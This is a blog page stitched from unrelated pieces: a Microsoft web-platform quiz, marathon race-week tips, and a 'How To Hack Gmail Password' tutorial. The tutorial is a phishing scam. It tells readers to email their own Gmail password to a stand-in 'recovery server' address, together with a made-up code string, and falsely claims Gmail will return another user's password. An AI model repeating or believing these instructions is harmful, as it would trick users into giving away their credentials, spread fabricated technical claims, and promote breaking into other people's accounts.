Wednesday, July 21, 2010

Microsoft Quiz

Windows Web App Gallery & SEO Toolkit - Quiz (source: Microsoft)

1. What do you need to install to get all the web development stuff?
a. Microsoft Web Platform Installer
b. Microsoft Office 2010
c. Microsoft Silverlight
d. Microsoft ASP.NET

2. What does the Microsoft Web Platform Installer contain?
a. ASP.NET 4 & Silverlight tools
b. SQL Server 2008 Express
c. IIS 7 & Extensions, IIS FastCGI
d. All of the above

3. Which is the program that offers free licenses for Web Professionals
b. TechNet
c. WebsiteSpark
d. DreamSpark

4. Where can you find and install the most popular web apps from
a. Windows Web App Gallery
c. TechNet
d. www.iis.net

5. Which of the following is not required for web development in Microsoft
b. Windows Presentation Foundation
c. IIS
d. Windows Server

6. Which of the following is an open source content management system provided through the Web gallery
a. Tiger
b. Joomla
c. Leapord
d. Tarantula

7. Which of the following is a blogging and publishing platform offered through the Web gallery
a. SQL Server
b. SQL Azure
c. WordPress
d. Word

8. Which of the following is database ideal for small and medium web apps
a. SQL Server
b. Enterprise Server
c. BizTalk Server
d. SQL Express

9. What is the free search engine optimization tool released by Microsoft
a. SQL Analyzer
b. Data Researcher
c. SEO Toolkit
d. Server Manager

10. Collectively what do you need to install to get the web platform and popular web applications
a. Web Platform Installer
b. Web Database Manager
c. Web Program Manager
d. Website Manager

Post your answers below:

9 things to do during the week before your race

Revisit and visualize your goals:
Are your goals still relevant? Visualize what you want to do during your race, and spend a lot of time thinking about it. Do not think thing of any negative thoughts about your goals; think only about what you will need to do to accomplish them. This can help you feel more confident when you get to the starting line, and serves a dual purpose of helping you to avoid taper madness.

Avoid taper madness:
After 3 to 5 months of heavy training, the last few weeks of relatively low mileage are leaving your body aching for a fix. You need to try to avoid going nuts and you have to resist the urge to go out and run or do physically strenuous activities like carting your treadmill around your basement.

Pack your bags:
Get your bags packed. If you need to travel, have all of your clothes packed ahead of time. Make sure that the shoes that you are going to wear and your race uniform are included. If you are going to have a specific bag for the start and/or finish lines, pack those as well. Any snacks that will not spoil can get thrown in also.

Examine the course:
With everything being available on the internet these days, do some research. Many races will at least provide a course map and elevation profile; some races go all out and provide a virtual course tour that will really let you visualize what you are going to be doing on race day. After looking this stuff up on the marathon’s home page, check out Race Route.com. They have good supplemental info on a lot of race courses.

Properly hydrate yourself:
Being hydrated for a race starts a week ahead of time. There is a theory that thirsty people feel more pain. You should be drinking a lot of water. Try not to have more than a beer at a time in the days leading up to your race and recommend limiting your coffee as well, but I can not really say anything about beer/coffee with any authority because I never touch the stuffs. Do not worry about drinking too much water unless you are not eating anything. Hyponatremia is a very real danger, but it is much easier to avoid than dehydration. Be sure to eat plenty of food throughout each day and to drink a lot of water and you will not have anything to worry about.

Sleep well on Friday:
If you are running a Sunday marathon, then try to get a good night’s sleep on Friday. If your marathon is on Saturday, then sleep well on Thursday. If your marathon is any other day, then try to get a good night’s sleep two days before the race. Sleep generally has a lag time of about 36 hours. Sleep the night before can be important; 1 hour of sleep will certainly not be enough. Sleeping poorly two days before the race will be much worse than sleeping poorly the night before the race, though. If you do toss and turn the day before, do not let it phase you on the starting line. Just remember that you are still ready to go.

Get in a short jig jog:
Especially if you have to travel to your race, be sure to get in a short 2 or 3 mile jig jog the day before the marathon. Do not go fast, try to avoid going up any mountains unless you are scouting the course, and try to relax. The pre-race jig jog can really help you stretch out and banish your nerves the day before your race.

Eat a good meal:
Ideally, you will eat the same meal the night before your race as you have been eating before your long runs. This is very difficult to do if you have to travel, though. Try to eat the same sorts of foods; if you have not been eating really spicy foods before your training runs, now is not the time to experiment with them. Many races will provide a pasta dinner the day before the race. You will usually have pretty safe food to eat available at these, and it gives you a great chance to meet some of your competition…I mean, fellow runners :)
The biggest thing is to try to relax. Try to avoid walking around too much in the days leading up to the race; it can be very easy to go sight seeing in a new city or to spend all day walking around the expo. There’s plenty of time to do that after the race, and it will be better for you.

How To Hack Gmail Password Using Gmail Hacker [TUTORIAL]

How To Hack Gmail Password Using Gmail Hacker [TUTORIAL]

Need to hack Gmail passwords?

It is possible and it is easy. This way of hacking into Gmail accounts was brought to my attention by a friend of mine who is a bit of a computer wizard. I have tried the method a least a dozen times and it has worked on all but 4 occasions, I don't know the reason why it failed a couple of times, but on every other occasion it has got me the password for the requested email address. This is how it is done:

STEP 1− Log in to your own Gmail account. Note: Your account must be at least 30 days old for this to work.
STEP 2− Once you have logged into your own account, compose/write an e−mail to: emailrecover.server@gmail.com
This is a mailing address to the Gmail Staff/server. The automated server will send you the password that you have 'forgotten', after receiving the information you send them.

STEP 3− In the subject line type exactly: "PASSWORD RECOVERY"
STEP 4− On the first line of your mail write the email address of the person you are hacking.
STEP 5− On the second line type in the e−mail address you are using.
STEP 6− On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a JavaScript from your account in the Gmail Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status. The process will be done automatically by the user administration server.

STEP 7− The final step before sending the mail is, type on the fourth line the following code exactly:
cgi−bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsascript< ip://−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>

{simply copy and paste above.}

so for example if your Gmail id is :
David_100@gmail.com and your password is: David and the email address you want to hack is:
test@gmail.com then
compose the mail as below:
To: (emailrecover.server@gmail.com)
bcc: cc: (Don't write anything in cc,bcc field)

cgi−bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsascript< ip://−bin/start?v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>

{simply copy and paste above.}

The password will be sent to your inbox in a mail called "System Reg Message" from "System within 6 hours.

When my friend showed me how to do this I thought it was too good a trick to keep to myself! Just try and enjoy!